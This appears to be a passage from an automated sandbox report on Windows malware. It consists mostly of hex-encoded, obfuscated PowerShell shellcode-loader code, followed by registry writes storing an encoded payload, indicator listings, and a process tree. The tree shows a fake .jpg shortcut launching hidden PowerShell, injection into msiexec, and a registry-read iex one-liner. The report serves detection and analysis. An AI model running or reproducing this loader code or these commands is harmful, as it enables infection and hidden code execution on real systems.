364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343635373033393239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343642373733393245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437313634333032433234363537303339323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364237373339324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3133342d3133305d2b247073686f6d655b3233322d3139385d2b277827297d66756e6374696f6e20776f387b706172616d2824736c372c247773382c246271312920286d673620273234363637333332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343741363233353344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343636373333323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363637333332324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234374136323335324332343733364333373239323927297c2628247073686f6d655b3137342d3137305d2b247073686f6d655b3138392d3135355d2b277827297d66756e6374696f6e207462357b706172616d28246f70342c246f64332c2471623429202874613720273234373937303335334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343735363633383344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343739373033353245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373937303335324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373536363338324332343646373033343239323927297c2628247073686f6d655b3137322d3136385d2b247073686f6d655b3232392d3139355d2b277827297d246e68363d746d392027736b6c63796e6667786462717269652720276c6677767a6362656f6a717868676e742720276f6378776e6a65707a716879677362726d273b66756e6374696f6e207463357b706172616d28246f73352c24687632292028726832202732343642373833303344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343642373833303245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343646373333353239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343642373833303245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436383736333232433234364637333335323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364237383330324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3139322d3138385d2b247073686f6d655b3138352d3135315d2b277827297d66756e6374696f6e207176367b706172616d2824756f342c246d7431292028686932202732343643363533373344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343643363533373245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343735364633343239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343643363533373245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436443734333132433234373536463334323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364336353337324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3133302d3132365d2b247073686f6d655b3134332d3130395d2b277827297d66756e6374696f6e20687a307b706172616d28246e68362c247468352c247177382c247a6d3429202864693620273234363736393337334435423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245344436313732373336383631364335443341334134373635373434343635364336353637363137343635343636463732343637353645363337343639364636453530364636393645373436353732323832383734363933313230323735363639373237343735363136433431364336433646363334353738323732393243323836453634333132303430323835423439364537343530373437323544324335423439364537343530373437323544324335423439364537343530373437323544324335423639364537343544324335423639364537343544323932383542343936453734373037343732354432393239323932453639364537363646364236353238324433313243333032433234373436383335324332383238323833353333333832423333333133393239324233313331333433333331323932393243323437413644333432393342354235333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453444363137323733363836313643354433413341343736353734343436353643363536373631373436353436364637323436373536453633373436393646364535303646363936453734363537323238323837343639333132303237353237343643344436463736363534443635364436463732373932373239324332383645363433313230343032383542343936453734353037343732354432433542363237393734363535423544354432433542353534393645373433333332354432393238354234393645373437303734373235443239323932393245363936453736364636423635323832343637363933373243323436453638333632433234373436383335323933423234363736393337334434453635373732443446363236413635363337343230353337393733373436353644324534393645373437303734373232303244343137323637373536443635364537343443363937333734323032343238323436373639333732453534364634393645373433363334323832393242323437313737333832393342354235333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453444363137323733363836313643354433413341343736353734343436353643363536373631373436353436364637323436373536453633373436393646364535303646363936453734363537323238323837343639333132303237343337323635363137343635353436383732363536313634323732393243323836453634333132303430323835423439364537343530373437323544324335423535343936453734333333323544324335423439364537343530373437323544324335423439364537343530373437323544324335423535343936453734333333323544324335423439364537343530373437323544323932383542343936453734373037343732354432393239323932453639364537363646364236353238333032433330324332343637363933373243333032433330324333303239334235333734363137323734324435333643363536353730323032443733323032383336333533393331324432383238333533393242333233383334333832393239323927297c2628247073686f6d655b3130352d3130315d2b247073686f6d655b3230302d3136365d2b277827297d66756e6374696f6e206d64317b706172616d2824746f3729202871793020273234373737313335334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343641363433363344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343737373133353245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373737313335324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364136343336324332343734364633373239323927297c2628247073686f6d655b3230302d3139365d2b247073686f6d655b3133392d3130355d2b277827297d66756e6374696f6e207072337b706172616d28247669332c246d72312c247973362920286a6b3320273234373636363334334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343730363933333344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343736363633343245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373636363334324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373036393333324332343736363933333239323927297c2628247073686f6d655b3138322d3137385d2b247073686f6d655b3135342d3132305d2b277827297d687a3020246e683620246e68362e6c656e677468202833343930372d2831363234322b31313235292920282835302b3134292966756e6374696f6e207372367b706172616d2824716936292028766d3320273234373236443335334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343737373933363344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343732364433353245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373236443335324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373737393336324332343731363933363239323927297c2628247073686f6d655b3139382d3139345d2b247073686f6d655b3138372d3135335d2b277827297d66756e6374696f6e207377367b706172616d282465663929202863753420273234363736333338334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343641364433393344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343637363333383245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363736333338324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364136443339324332343635363633393239323927297c2628247073686f6d655b3139342d3139305d2b247073686f6d655b3139342d3136305d2b277827297d powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E0F100C-0611-030F-0B06-09050D01080E}\VersionIndependentProgID\ = "{08010108-0F03-0E0C-1204-0D08090C1104}" powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{08010108-0F03-0E0C-1204-0D08090C1104}\CLSID\ = "{0E0F100C-0611-030F-0B06-09050D01080E}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0F110212-0702-090A-100C-100200040810}\TreatAs powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F110212-0702-090A-100C-100200040810} powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F110212-0702-090A-100C-100200040810}\TreatAs powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F110212-0702-090A-100C-100200040810}\TreatAs\ = "{0E0F100C-0611-030F-0B06-09050D01080E}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0E0F100C-0611-030F-0B06-09050D01080E} powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E0F100C-0611-030F-0B06-09050D01080E}\ProgID\ = "{08010108-0F03-0E0C-1204-0D08090C1104}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0E0F100C-0611-030F-0B06-09050D01080E}\LocalServer powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{08010108-0F03-0E0C-1204-0D08090C1104} powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{08010108-0F03-0E0C-1204-0D08090C1104}\CLSID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{08010108-0F03-0E0C-1204-0D08090C1104}\ = "{08010108-0F03-0E0C-1204-0D08090C1104}" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E0F100C-0611-030F-0B06-09050D01080E}\VersionIndependentProgID\0E0F = 6f262a2c64735c4e6e367049447e5a34617c3c507b5d5342582277484639245b1330333e2d4765254c79716255606b385f7a7627746d7163706a6e733264386f6c767a3472663137366979397578613368306b354a75712a3d66555c7e67736c4627283a574352624f2659244558447239332e60787b2132692d47685a632f5e4e646f50565b2b653c2c4b4061703476517a3b224c425f6d535d3e7d3631483823744d6b415435306a25496e372979 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ msiexec.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 2528 powershell.exe 2528 powershell.exe 2528 powershell.exe 2528 powershell.exe 4180 msiexec.exe 4180 msiexec.exe 2684 powershell.exe 2684 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2528 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2528 powershell.exe Token: SeDebugPrivilege 2684 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3152 wrote to memory of 2528 3152 cmd.exe 80 PID 3152 wrote to memory of 2528 3152 cmd.exe 80 PID 2528 wrote to memory of 4180 2528 powershell.exe 87 PID 2528 wrote to memory of 4180 2528 powershell.exe 87 PID 4180 wrote to memory of 2684 4180 msiexec.exe 88 PID 4180 wrote to memory of 2684 4180 msiexec.exe 88
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Scan_282.jpg.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3152 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -w h -file 1728.ps12⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2528 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe3⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4180 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='6066';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2684
-
-
-